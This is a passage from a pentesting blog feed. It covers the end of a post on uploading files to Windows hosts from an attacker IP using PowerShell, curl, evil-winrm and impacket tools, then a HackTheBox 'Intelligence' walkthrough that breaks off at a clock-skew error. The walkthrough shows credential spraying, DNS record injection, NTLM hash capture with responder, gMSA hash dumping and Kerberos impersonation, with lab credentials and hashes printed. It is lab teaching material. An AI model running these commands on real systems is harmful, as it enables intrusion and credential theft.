An attacker could then for example exfiltrate the password hash for the current user and relay it to perform <code>pass-the-hash-attacks</code>. </p>
<blockquote>
<p>Invoke-WebRequest can be abbreviated with <code>iwr</code> - wohooo.</p>
</blockquote>
<pre><code class="lang-bash">PS C:\&gt; iwr -UseBasicParsing -Uri <span class="hljs-string">"http://&lt;attackerIP&gt;:&lt;port&gt;/file_to_be_uploaded.exe"</span> -Outfile &lt;new_filename.exe&gt;
</code></pre>
<h3 id="heading-5-powershell-wget">5. powershell + wget</h3>
<p>What would a child between Windows and Linux look like you ask? I don't know, but Microsoft enabled <code>wget</code>as a wrapper around Invoke-WebRequest, which means if the system has Powershell 3+ you should be able to use <code>wget</code> in windows. </p>
<pre><code class="lang-bash">PS C:\&gt; wget -UseBasicParsing http://&lt;attackerIP&gt;:&lt;port&gt;/file_to_be_uploaded.exe -O &lt;new_filename.exe&gt;
</code></pre>
<h3 id="heading-6-powershell-curl">6. powershell + curl</h3>
<p>The linux-love story is not over yet, <a target="_blank" href="https://devblogs.microsoft.com/commandline/tar-and-curl-come-to-windows/">recently</a> Microsoft shipped native binaries for <code>tar</code> and <code>curl</code>, which means the real deal <code>curl</code> executable should now be available on Windows in both cmd and Powershell. 
Additionally, after PowerShell version 3, there was also an alias around Invoke-WebRequest which enabled similar syntax. </p>
<pre><code class="lang-bash">
<span class="hljs-comment"># powershell v3+</span>
PS C:\&gt; curl -UseBasicParsing http://&lt;attackerIP&gt;:&lt;port&gt;/file_to_be_uploaded.exe -O &lt;new_filename.exe&gt;

<span class="hljs-comment"># Windows 10, version 1803+</span>
C:\&gt; curl http://&lt;attackerIP&gt;:&lt;port&gt;/file_to_be_uploaded.exe -o &lt;new_filename.exe&gt;
</code></pre>
<h3 id="heading-7-evil-winrm">7. evil-winrm</h3>
<p>When the nmap/rustscan output shows port 5985 open you have potentially hit the jackpot and are able to use <code>evil-winrm</code> to pop a remote shell. 
WinRM is a remote management toolkit that is exploitable and only needs two things:</p>
<ol>
<li>credentials for the host, 2. to be activated, but if you see port 5985 open there is a high likelihood that this is the case.
For your convenience <code>evil-winrm</code> also has an upload functionality which is unfortunately not visible in the <code>help</code> but if you type <code>menu</code>. You need credentials for <code>winrm</code> and you can also enable it once you are on the box and have a privileged user - via <code>winrm quickconfig</code>.</li>
</ol>
<pre><code class="lang-bash">*Evil-WinRM* PS C:\Users\maikroservice\&gt; upload /home/kali/file_to_be_uploaded.exe
</code></pre>
<h3 id="heading-8-sftp">8. sftp</h3>
<p>Since Windows 10 you have ssh support and that also means you have file transfer protocol via ssh aka <code>sftp</code>. You need remote credentials for this one but you can always use your local kali instance credentials to connect to. 
The usage is very similar to <code>ftp</code> - you are able to use basic commands, such as <code>pwd</code>, <code>dir</code>, and <code>put</code>/<code>get</code> to receive/send files. 
One very neat feature of <code>sftp</code> over <code>ftp</code> is the encryption via ssh, this should not be underrated in real-life engagements. </p>
<pre><code class="lang-bash">PS C:\&gt; sftp &lt;user&gt;@&lt;AttackerIP&gt; -P &lt;ssh_remote_port&gt;
sftp&gt; put /home/kali/&lt;file_to_be_uploaded.exe&gt;
Fetching /home/kali/file_to_be_uploaded.exe to file_to_be_uploaded.exe
/home/kali/file_to_be_uploaded.exe    100% 130 8.6KB/s 00:00
</code></pre>
<h3 id="heading-9-scp">9. scp</h3>
<p>Along the same line, we can also use secure copy or <code>scp</code> to transfer files via ssh. For this, we again need credentials for a remote host (usually your kali machine) and a file that we want to be uploaded. This is also encrypted via ssh so more secure than some of the http-based transfers we explored earlier. It should come with newer windows versions and most linux distros. </p>
<pre><code class="lang-bash">scp &lt;username&gt;@&lt;AttackerIP&gt;:/home/kali/file_to_be_uploaded.exe &lt;file_location_on_windows, e.g. c:\users\maikroservice\desktop\file_to_be_uploaded.exe&gt;
</code></pre>
<h2 id="heading-impacket">impacket</h2>
<p>For the last five ways to get your files onto a Windows-box we will look at the <code>impacket</code> toolkit. </p>
<p>For all of the following methods you will need credentials and some of them only work if their counterparts are enabled on the Windows machine itself. </p>
<p>Technically, they are living off the land attacks as well, but since you need to remotely initiate the shell and they are all packaged under the <code>impacket</code> umbrella I wanted to give them their own category.</p>
<p>Note:
<em>One of the hardest tasks an aspiring cybersecurity aficionado has to take care of is installing <code>impacket</code> and making sure to have the most up-to-date version of it. 
Some say it is harder than escaping vim, others are still stuck trying to find which folder contains the correct python files on their kali linux.</em></p>
<p>I have come to help and share how I use them easily:</p>
<blockquote>
<p>usually <code>impacket</code> might be already installed on your kali and the individual scripts can be used via <code>impacket-&lt;script_name&gt;</code> in your kali terminal</p>
</blockquote>
<h3 id="heading-10-impacket-wmiexec">10. impacket-wmiexec</h3>
<p>WMI, or <code>Windows Management Instrumentation</code> is an admin feature for remote management of machines. The power of <code>wmiexec</code> lies in the details, if it is available we don't get a pseudo-shell but we are able to start processes instead (minor detail, but huge for evading detection / leaving a clean environment). This means we don't need to transfer an arbitrary executable to do something but we use native Windows Remote Management tools to do our bidding. </p>
<p>More details as to how to use WMI for event-based notifications (e.g. a user logs in and you can now dump their credentials using <code>mimikatz</code> or similar) can be found in this <a target="_blank" href="https://www.varonis.com/blog/wmi-windows-management-instrumentation/">blog post</a>. </p>
<p>You can use <code>lput</code> to upload files to the Windows machine like so:</p>
<pre><code class="lang-bash">impacket-wmiexec &lt;username&gt;:&lt;password&gt;@&lt;windows_machine_ip&gt;
Impacket v0.9.24.dev1+20210815.200803.5fd22878 - Copyright 2021 SecureAuth Corporation

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press <span class="hljs-built_in">help</span> <span class="hljs-keyword">for</span> extra shell commands
C:\&gt;lput /home/kali/file_to_be_uploaded.exe
</code></pre>
<h3 id="heading-11-impacket-psexec">11. impacket-psexec</h3>
<p>Number 11 is an interesting one, <code>psexec</code> is a telnet replacement tool, which is part of the PsTools suite, that you can <a target="_blank" href="https://docs.microsoft.com/en-us/sysinternals/downloads/psexec">download</a> from the Microsoft website and it enables command-line based code execution (on remote machines). You don't have to install <code>psexec</code>, but only transfer the binary to the Windows machine via a method of your choice. 
Interestingly, <code>psexec</code> has been used in viruses before and thus is sometimes picked up by third-party anti-virus scanners. 
Interestingly^2, prior to version 2.1 the traffic was apparently not encrypted so you might want to check which version is present to see if your passwords are sent in a secure manner. 
Execution is only possible if realtime-detection is disabled (at least it was on my Windows 10 Test-System) and as all the <code>exec</code> parts of impacket, this does not have an inherent upload functionality, but can copy remote binaries / code. </p>
<pre><code class="lang-bash">impacket-psexec &lt;username&gt;:&lt;password&gt;@&lt;windows_machine_ip&gt;
Impacket v0.9.24.dev1+20210815.200803.5fd22878 - Copyright 2021 SecureAuth Corporation

[*] Requesting shares on 10.10.10.10.....
[*] Found writable share ADMIN$
[*] Uploading file FvVjzAJr.exe
[*] Opening SVCManager on 10.10.10.10.....
[*] Creating service NKIK on 10.10.10.10.....
[*] Starting service NKIK.....
Microsoft Windows [Version 10.0.19043.928]
(c) Microsoft Corporation. All rights reserved.

C:\Windows&gt; psexec.exe \\&lt;attackerIP&gt; -u &lt;username&gt; -p &lt;password&gt; -c -csrc <span class="hljs-string">"&lt;path_to_file_to_be_uploaded, e.g. C:\path to\PowerView.ps1&gt;"</span> &lt;new_filename_on_windows_box&gt;
</code></pre>
<h3 id="heading-12-impacket-smbserver">12. impacket-smbserver</h3>
<p>The smbserver is a neat tool, that is usable in two ways. 
One - you can use it as a remote network drive to run executables off of directly.
Two - you can copy the desired files from/to the smbserver, e.g. via the <code>copy</code> or <code>cp</code> commands 
Three ;) - you can capture hashes using the smbserver and then crack the hash or relay/pass it (tip: try your hands on the box <code>Buff</code> on hackthebox.com, you can use this technique)</p>
<p>Typically this works fairly well, should you encounter issues then smb-signing or smb2 might be the culprits. 
The latter can be solved easily via the <code>-smb2support</code> flag. </p>
<pre><code class="lang-bash"><span class="hljs-comment"># on your machine</span>
impacket-smbserver -smb2support &lt;name_of_the_share (you can choose any)&gt; .  
Impacket v0.9.24.dev1+20210815.200803.5fd22878 - Copyright 2021 SecureAuth Corporation

<span class="hljs-comment"># on the Windows machine</span>
copy \\&lt;attackerIP&gt;\&lt;name_of_the_share&gt;\file_to_be_uploaded.exe .

<span class="hljs-comment"># what you will see on your machine afterwards</span>

[*] Config file parsed
[*] Callback added <span class="hljs-keyword">for</span> UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added <span class="hljs-keyword">for</span> UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.10.100,63109)
</code></pre>
<h3 id="heading-13-impacket-smbexec">13. impacket-smbexec</h3>
<p>Impackets' <code>smbexec</code> works in a very similar way to <code>psexec</code>, it uploads an executable that will start a service and thus offer a reverse shell back to our script. </p>
<p>It is also detected by current real-time protection enabled Microsoft Defender. The error you might receive looks something like this: <code>SMB SessionError: STATUS_OBJECT_NAME_NOT_FOUND(The object name is not found.)</code>.
The resulting shell is only a semi-interactive shell and some commands might not work in this one (<code>pwd</code> among others).
Technically this semi-interactive shell also does not have the ability to upload files per-se but you can combine it with <code>certutil</code> or <code>iex</code> or another method from the living off the land section. </p>
<pre><code class="lang-bash">impacket-smbexec &lt;username&gt;:&lt;password&gt;@&lt;windowsIP&gt;
Impacket v0.9.24.dev1+20210815.200803.5fd22878 - Copyright 2021 SecureAuth Corporation

[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32&gt;
```cer

<span class="hljs-comment">### 14. impacket-atexec</span>
Atexec is a Task Scheduler Service based remote code execution method that can be employed <span class="hljs-keyword">if</span> you have credentials <span class="hljs-keyword">for</span> the remote Windows box. 
It is a little more on the complex side, because you only get remote <span class="hljs-built_in">command</span> execution but no interactive shell or pseudoshell. 
You could however use it to transfer files with the living of the land or impacket-smbserver methods.
```bash
impacket-atexec &lt;username&gt;:&lt;password&gt;@&lt;windowsIP&gt; &lt;command_to_run (e.g. whoami)&gt;
Impacket v0.9.24.dev1+20210815.200803.5fd22878 - Copyright 2021 SecureAuth Corporation

[!] This will work ONLY on Windows &gt;= Vista
[*] Creating task \gVldUnwT
[*] Running task \gVldUnwT
[*] Deleting task \gVldUnwT
[*] Attempting to <span class="hljs-built_in">read</span> ADMIN$\Temp\gVldUnwT.tmp
[*] Attempting to <span class="hljs-built_in">read</span> ADMIN$\Temp\gVldUnwT.tmp
nt authority\system
</code></pre>
<h2 id="heading-shoutout-and-thank-you-for-reading-all-of-this">Shoutout and thank you for reading all of this!</h2>
<p>I would like to thank you again for staying with me and learning new things on a daily basis. The sheer amount of information and options available to perform tasks such as uploading a file to a remote host is astonishing for me. 
It is one of the reasons why I continue to thrive in cybersecurity and why it is by far the most interesting field I have ever dabbled in. 
Thank you for reading until here and should you have any other tools that you use to upload things to Windows machines feel encouraged to share them in the comment section.</p>
<p>Until next time, You are wizards, purple wizards. </p>
]]></content:encoded></item><item><title><![CDATA[Hack The Box Intelligence - Walkthrough]]></title><description><![CDATA[Today we will walk through an intermediate difficulty box that shows us some nice to-know attack vectors for Windows and Active Directory in particular. 
We will do a walkthrough of the box Intelligence from HackTheBox (https://app.hackthebox.com/mac...]]></description><link>https://maikroservice.com/hack-the-box-intelligence-walkthrough</link><guid isPermaLink="true">https://maikroservice.com/hack-the-box-intelligence-walkthrough</guid><category><![CDATA[hacking]]></category><category><![CDATA[#cybersecurity]]></category><dc:creator><![CDATA[Maik Ro]]></dc:creator><pubDate>Tue, 14 Dec 2021 20:31:14 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1639513282330/2AdMNq7Nc.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Today we will walk through an intermediate difficulty box that shows us some nice to-know attack vectors for Windows and Active Directory in particular. 
We will do a walkthrough of the box <strong>Intelligence</strong> from HackTheBox (https://app.hackthebox.com/machines/357).</p>
<p>The first thing we always do is a ping-check. 
We can enumerate the TTL (time to live) and identify the host operating system based on it. TTL of about 64 means it's most likely a Linux-based machine, around 128 means it's a Windows-based box, and values of about 254 are Solaris-based boxes. </p>
<h3 id="heading-ttl">TTL</h3>
<blockquote>
<p>A detailed explanation of TTL:
It represents the number of routers a packet is allowed to be passed through before expiring. 
For every router this number is decreased by 1, meaning if a Windows box should have 128 - but we see TTL 127 - then one router is between us and the box. </p>
</blockquote>
<h3 id="heading-ping-check">Ping check</h3>
<pre><code class="lang-bash">PING 10.10.10.248 (10.10.10.248) 56(84) bytes of data.
64 bytes from 10.10.10.248: icmp_seq=1 ttl=127 time=36.7 ms
</code></pre>
<p>We receive a TTL of 127 which indicates it is a Windows box. That is interesting and provides some details for potential next steps later during the enumeration (check for Active Directory, Kerberoasting, AS-REP roasting, unconstrained delegation and more).</p>
<p>As usual the next step is :drum roll: - port scanning</p>
<h2 id="heading-port-scanning-with-nmap">Port Scanning with nmap</h2>
<p>We note down interesting ports as well as a very large time skew of about 7h. The time skew could force us to sync our local machine time to the remote machine during a later stage (noted.) </p>
<pre><code class="lang-bash">nmap -sCV -T4 -p- 10.10.10.248 -oN intelligence.full                                                                                                                                                      
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-24 16:56 CEST
Nmap scan report <span class="hljs-keyword">for</span> localhost (10.10.10.248)
Host is up (0.036s latency).
Not shown: 65515 filtered ports
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Intelligence
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2021-08-24 21:59:38Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername:&lt;unsupported&gt;, DNS:dc.intelligence.htb
| Not valid before: 2021-04-19T00:43:16
|_Not valid after:  2022-04-19T00:43:16
|_ssl-date: 2021-08-24T22:01:08+00:00; +7h01m48s from scanner time.
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername:&lt;unsupported&gt;, DNS:dc.intelligence.htb
| Not valid before: 2021-04-19T00:43:16
|_Not valid after:  2022-04-19T00:43:16
|_ssl-date: 2021-08-24T22:01:08+00:00; +7h01m48s from scanner time.
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername:&lt;unsupported&gt;, DNS:dc.intelligence.htb
| Not valid before: 2021-04-19T00:43:16
|_Not valid after:  2022-04-19T00:43:16
|_ssl-date: 2021-08-24T22:01:08+00:00; +7h01m48s from scanner time.
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername:&lt;unsupported&gt;, DNS:dc.intelligence.htb
| Not valid before: 2021-04-19T00:43:16
|_Not valid after:  2022-04-19T00:43:16
|_ssl-date: 2021-08-24T22:01:08+00:00; +7h01m48s from scanner time.
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49691/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49692/tcp open  msrpc         Microsoft Windows RPC
49711/tcp open  msrpc         Microsoft Windows RPC
49718/tcp open  msrpc         Microsoft Windows RPC
62733/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 7h01m47s, deviation: 0s, median: 7h01m47s
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2021-08-24T22:00:30
|_  start_date: N/A
</code></pre>
<p>We find port 53 (DNS) / 88 (Kerberos) / 389 (LDAP) which indicates that this is a domain controller.
The other interesting open ports are RPC (135 and many more), SMB (139/445), HTTP (80), Win-RM (5985).</p>
<p><strong>remember for OSCP</strong>: from an attacker perspective, you would try the ports with the least effort first, which in this case would be:</p>
<p>139/445 - anonymous login via SMB (or guest accounts for that matter)
389 - anonymous LDAP enumeration to check if we can read the LAPS (local administrator password solution) 
80 - Webserver - check for hidden files / credentials / subdomains</p>
<h2 id="heading-directory-busting-finding-reachable-files">directory busting / finding reachable files</h2>
<p>Recently I started testing feroxbuster but for this box I used gobuster again. Running gobuster dir reveals one interesting folder - <strong>documents/</strong>.</p>
<pre><code class="lang-bash">gobuster dir -fr -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.248/ -x php,html,txt -t 100 -k
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.248/
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              php,html,txt
[+] Add Slash:               <span class="hljs-literal">true</span>
[+] Follow Redirect:         <span class="hljs-literal">true</span>
[+] Timeout:                 10s
===============================================================
2021/08/24 17:21:48 Starting gobuster <span class="hljs-keyword">in</span> directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 7432]
/documents/           (Status: 403) [Size: 1233]

===============================================================
2021/08/24 17:27:27 Finished
===============================================================
</code></pre>
<p>We jot that down into our notes and add the IP into our <code>/etc/hosts</code> file to enumerate subdomains via <code>gobuster dns</code>, since DNS is available on the box (port 53). Unfortunately, this does not show any results. </p>
<pre><code class="lang-bash">sudo su
<span class="hljs-built_in">echo</span> <span class="hljs-string">"10.10.10.248 intelligence.htb"</span> &gt;&gt; /etc/hosts
</code></pre>
<pre><code class="lang-bash">gobuster dns -d 10.10.10.248 -c -i -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-20000.txt
</code></pre>
<h2 id="heading-web-application">Web application</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1639507405716/CyDoiTzG3.png" alt="image.png" />
Checking the web application we find two downloadable pdf documents and looking at them we conduct that they are potentially numbered using a date pattern (<code>YYYY-MM-DD-upload.pdf</code>). So why don't we write a script to download all the files and go through them?!</p>
<pre><code class="lang-python"><span class="hljs-comment">#!/usr/bin/env python</span>

<span class="hljs-keyword">import</span> requests
<span class="hljs-keyword">import</span> os
<span class="hljs-comment"># http://intelligence.htb/documents/2020-01-02-upload.pdf</span>

os.mkdir(<span class="hljs-string">'documents'</span>)
BASE_URL = <span class="hljs-string">'http://intelligence.htb/documents/2020-'</span>


<span class="hljs-keyword">for</span> month <span class="hljs-keyword">in</span> range(<span class="hljs-number">1</span>,<span class="hljs-number">12</span>):
  <span class="hljs-keyword">for</span> day <span class="hljs-keyword">in</span> range(<span class="hljs-number">1</span>,<span class="hljs-number">31</span>):

    specifics =  <span class="hljs-string">f'<span class="hljs-subst">{month:<span class="hljs-number">02</span>}</span>-<span class="hljs-subst">{day:<span class="hljs-number">02</span>}</span>-upload.pdf'</span>
    file = requests.get(BASE_URL+specifics)
    <span class="hljs-keyword">if</span> file.status_code == <span class="hljs-number">200</span>:
        <span class="hljs-keyword">with</span> open(<span class="hljs-string">f'documents/<span class="hljs-subst">{specifics}</span>'</span>, <span class="hljs-string">'wb'</span>) <span class="hljs-keyword">as</span> f:
            f.write(file.content)
    <span class="hljs-keyword">else</span>:
        <span class="hljs-keyword">continue</span>
</code></pre>
<p>Now we could check the pdf's manually (which is what I did) or we use <code>pdftotext</code>:</p>
<pre><code class="lang-bash"><span class="hljs-keyword">for</span> file <span class="hljs-keyword">in</span> *.pdf; <span class="hljs-keyword">do</span> pdftotext <span class="hljs-variable">$file</span> - &gt;&gt; text.txt; <span class="hljs-keyword">done</span>
</code></pre>
<p>this reveals a lot of lorem ipsum text (this is placeholder gibberish in a non-existing language that resembles "normal" text and is frequently used in web development to visualize what "normal" text would look like) but also two notes from the IT department that are very very interesting for us - one in particular because it contains a password - <code>NewIntelligenceCorpUser9876</code>, but what is a password without a username?! Nothing! </p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1639508025480/52vV-u5bb.png" alt="image.png" /></p>
<p>We also check the metadata of the pdf's and find :drum roll: some names that look like real people names.</p>
<pre><code class="lang-bash"><span class="hljs-meta">#!/bin/bash</span>
touch names.txt

<span class="hljs-keyword">for</span> f <span class="hljs-keyword">in</span> documents/*.pdf
<span class="hljs-keyword">do</span>
strings <span class="hljs-variable">$f</span> | grep /Creator | awk <span class="hljs-string">'{ print $2 }'</span> &gt;&gt; names.txt
<span class="hljs-keyword">done</span>
<span class="hljs-built_in">exit</span>
</code></pre>
<p>that gives us the following output:</p>
<pre><code class="lang-bash">(TeX)
(Jason.Patterson)
</code></pre>
<p>Since we only want the unique usernames and also neither the TeX nor the parantheses - we use <code>sort -u</code> to filter them and then remove the parentheses + the Tex by hand (old school. maybe) and add a space instead of the . between the first name and the last name. </p>
<pre><code class="lang-bash">cat names.txt | sort -u &gt; unique_names.txt
</code></pre>
<h2 id="heading-foothold">foothold</h2>
<p>So now we have usernames and we could use <a target="_blank" href="https://gist.github.com/superkojiman/11076951">namemash.py</a> to generate a potential windows username list. But let's try to enumerate usernames with <code>kerbrute</code>.</p>
<h3 id="heading-username-enumeration-with-kerbrute">username enumeration with kerbrute</h3>
<pre><code class="lang-bash">./kerbrute_linux_amd64_1.0.3 userenum --dc 10.10.10.248 -d intelligence.htb ~/ctf/htb/intelligence/documents/names.txt 
    __             __               __                  
   / /_____  _____/ /_  _______  __/ /____  
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \      
 / ,&lt; /  __/ /  / /_/ / /  / /_/ / /_/  __/       
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: v1.0.3 (9dad6e1) - 08/25/21 - Ronnie Flathers @ropnop

2021/08/25 11:56:24 &gt;  Using KDC(s):     
2021/08/25 11:56:24 &gt;   10.10.10.248:88      

2021/08/25 11:56:24 &gt;  [+] VALID USERNAME:       William.Lee@intelligence.htb 
2021/08/25 11:56:24 &gt;  [+] VALID USERNAME:       Scott.Scott@intelligence.htb

...
(shortened <span class="hljs-keyword">for</span> educational purposes ;) )
...

2021/08/25 11:56:24 &gt;  Done! Tested 78 usernames (78 valid) <span class="hljs-keyword">in</span> 0.297 seconds
</code></pre>
<p>Next on our todo list is checking if the password works for an account actually - the stage is yours <code>crackmapexec</code>. </p>
<pre><code class="lang-bash">poetry run crackmapexec ldap 10.10.10.248 -u ~/ctf/htb/intelligence/documents/names.txt -p <span class="hljs-string">'NewIntelligenceCorpUser9876'</span>  

...
LDAP        10.10.10.248    389    DC               [+] intelligence.htb\Tiffany.Molina:NewIntelligenceCorpUser9876
</code></pre>
<p>Ms. Tiffany Molina has not changed her password apparently and we can log in using her account. LDAP did not reveal interesting things so we try SMB and voila, there are two non-standard shares (Users / IT). </p>
<h2 id="heading-user-flag-webserver-script">user flag + webserver script</h2>
<pre><code class="lang-bash">smbclient -L \\\\10.10.10.248\\ -U Tiffany.Molina -p

Enter WORKGROUP\Tiffany.Molina<span class="hljs-string">'s password: 

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        IT              Disk      
        NETLOGON        Disk      Logon server share 
        SYSVOL          Disk      Logon server share 
        Users           Disk      
SMB1 disabled -- no workgroup available</span>
</code></pre>
<p>in <code>Users/tiffany.molina/Desktop</code> we find the user flag, while in the IT share we find a powershell script called <code>downdetector.ps1</code>. </p>
<p>The interesting part of this script, which checks if a webserver is up periodically (every 5 minutes), is that it uses <code>-UseDefaultCredentials</code> while visiting the website and we could abuse this via responder, because responder tells the browser to please authenticate to it using NTLM. We then catch the NTLM hash and potentially (most likely) are able to crack the hash and get Mr. Ted Graves password. </p>
<pre><code class="lang-powershell"># downdetector.ps1
# Check web server status. Scheduled to run every 5min                                                                                                                                
Import-Module ActiveDirectory-                                                  
foreach($record in Get-ChildItem "AD:DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb" | Where-Object Name -like "web*")  {
try {                                                                           
$request = Invoke-WebRequest -Uri "http://$($record.Name)" -UseDefaultCredentials
if(.StatusCode -ne 200) {                                                       
Send-MailMessage -From 'Ted Graves &lt;Ted.Graves@intelligence.htb&gt;' -To 'Ted Graves &lt;Ted.Graves@intelligence.htb&gt;' -Subject "Host: $($record.Name) is down"
}                                                                               
} catch {}                                                                      
}
</code></pre>
<h2 id="heading-adding-a-dns-entry-via-ldap">adding a DNS entry via LDAP 🤯</h2>
<p>For this to work, we need to add a A record to the DNS entries.
How could we do this from the outside?! There is a tool called dnstool.py which is used (https://github.com/dirkjanm/krbrelayx#dnstoolpy), to create DNS entries via LDAP - mind blown 🤯.</p>
<pre><code class="lang-bash">python3 dnstool.py -u <span class="hljs-string">'intelligence.htb\Tiffany.Molina'</span> -p NewIntelligenceCorpUser9876 -a add -r webroot.intelligence.htb -d 10.10.14.15 10.10.10.248
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
/opt/windows/krbrelayx/dnstool.py:241: DeprecationWarning: please use dns.resolver.Resolver.resolve() instead 
  res = dnsresolver.query(zone, <span class="hljs-string">'SOA'</span>)
[-] Adding new record
[+] LDAP operation completed successfully
</code></pre>
<h3 id="heading-catching-the-hash-with-responder">catching the hash with responder</h3>
<p>So now we have created a <code>DNS A Record</code> on the DNS server of the Domain. In theory, if we run responder.py now, we should be able to capture a hash. If I remember correctly, we had to run it in analyze mode (-A) in order to capture the hash, without poisoning the response. </p>
<pre><code class="lang-bash">sudo responder -I tun0 -A

TED.GRAVES::intelligence:4ca6e63382f18321:08aef3a49570336d5bd888349ffca65c:010100000000000018f67c60fb99d7018dfd1338289e0ea700000000020008004a004a005300390001001e00570049004e002d0043005000350056004d005a005a004400510031005200040014004a004a00530039002e004c004f00430041004c0003003400570049004e002d0043005000350056004d005a005a0044005100310052002e004a004a00530039002e004c004f00430041004c00050014004a004a00530039002e004c004f00430041004c0008003000300000000000000000000000002000002c3fc3c6700878c995085dd56d2a2e8985dc5a10c687e986d4079d5b7e75e9710a0010000000000000000000000000000000000009003a0048005400540050002f0077006500620072006f006f0074002e0069006e00740065006c006c006900670065006e00630065002e006800740062000000000000000000:Mr.Teddy

<span class="hljs-comment"># hashcat -m 5600 intelligence.txt rockyou.txt</span>
</code></pre>
<p>We crack the NTLMv2-hash using rockyou and hashcat in a couple of seconds and are now able to use new credentials to authenticate and check SMB first but don't find anything interesting. So what about delegations you ask, yes lets check delegation potential with the new credentials. </p>
<h3 id="heading-checking-for-potential-delegation">checking for potential delegation</h3>
<pre><code class="lang-bash">impacket-findDelegation intelligence.htb/Ted.Graves:Mr.Teddy
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

AccountName  AccountType                          DelegationType                      DelegationRightsTo      
-----------  -----------------------------------  ----------------------------------  -----------------------
svc_int$     ms-DS-Group-Managed-Service-Account  Constrained w/ Protocol Transition  WWW/dc.intelligence.htb
</code></pre>
<p>The user Ted Graves is able to delegate rights to the svc_int$ machine account, interesting. machine accounts are sometimes also called computer accounts and are exactly that, the accounts of the computer that is used for e.g. requesting tickets from the domain controller, they are identified via the $ sign at the end of their name. </p>
<p>We also see that it is a <code>Group Managed Service Accounts (GMSA)</code> and that the ServicePrincipalName (SPN) is <code>WWW/dc.intelligence.htb</code></p>
<h3 id="heading-gmsa-what-now">gmsa what now?</h3>
<p>Service Accounts often have their passwords set once and are never changed after, this is security risk and can be mitigated via gMSA (group managed service accounts). This means that the Domain (Controller?) is able to change the password based on a regular schedule and that means someone has to be able to read the password in clear text, because otherwise no one would know what the current password is. So users that are able to read gMSA, can read the password (hash) (that might also be a security risk..., right Microsoft!?) similar to LAPS, where you can sometimes read the admin password in clear text... </p>
<p>We can use a tool called gMSADumper.py (https://github.com/micahvandeusen/gMSADumper/blob/main/gMSADumper.py) which does exactly as the name suggests, dump the password hash if the user we provide is able to read it.
Let's try that:</p>
<pre><code class="lang-bash">python3 gMSADumper.py -u Ted.Graves -p Mr.Teddy -d intelligence.htb
Users or groups who can <span class="hljs-built_in">read</span> password <span class="hljs-keyword">for</span> svc_int$:
 &gt; DC$
 &gt; itsupport
svc_int$:::5e47bac787e5e1970cf9acdb5b316239
</code></pre>
<p>TADAAAAAA. we have the password hash, which we can use to dump tickets potentially via impacket's getST. In order to escalate our privileges, we will try to get a ticket for the administrator account, because why not?!</p>
<h3 id="heading-get-a-ticket">Get a Ticket</h3>
<pre><code class="lang-bash">impacket-getST intelligence.htb/svc_int$ -spn WWW/dc.intelligence.htb -impersonate Administrator -dc-ip 10.10.10.248 -hashes :5e47bac787e5e1970cf9acdb5b316239
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Getting TGT <span class="hljs-keyword">for</span> user
Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
</code></pre>
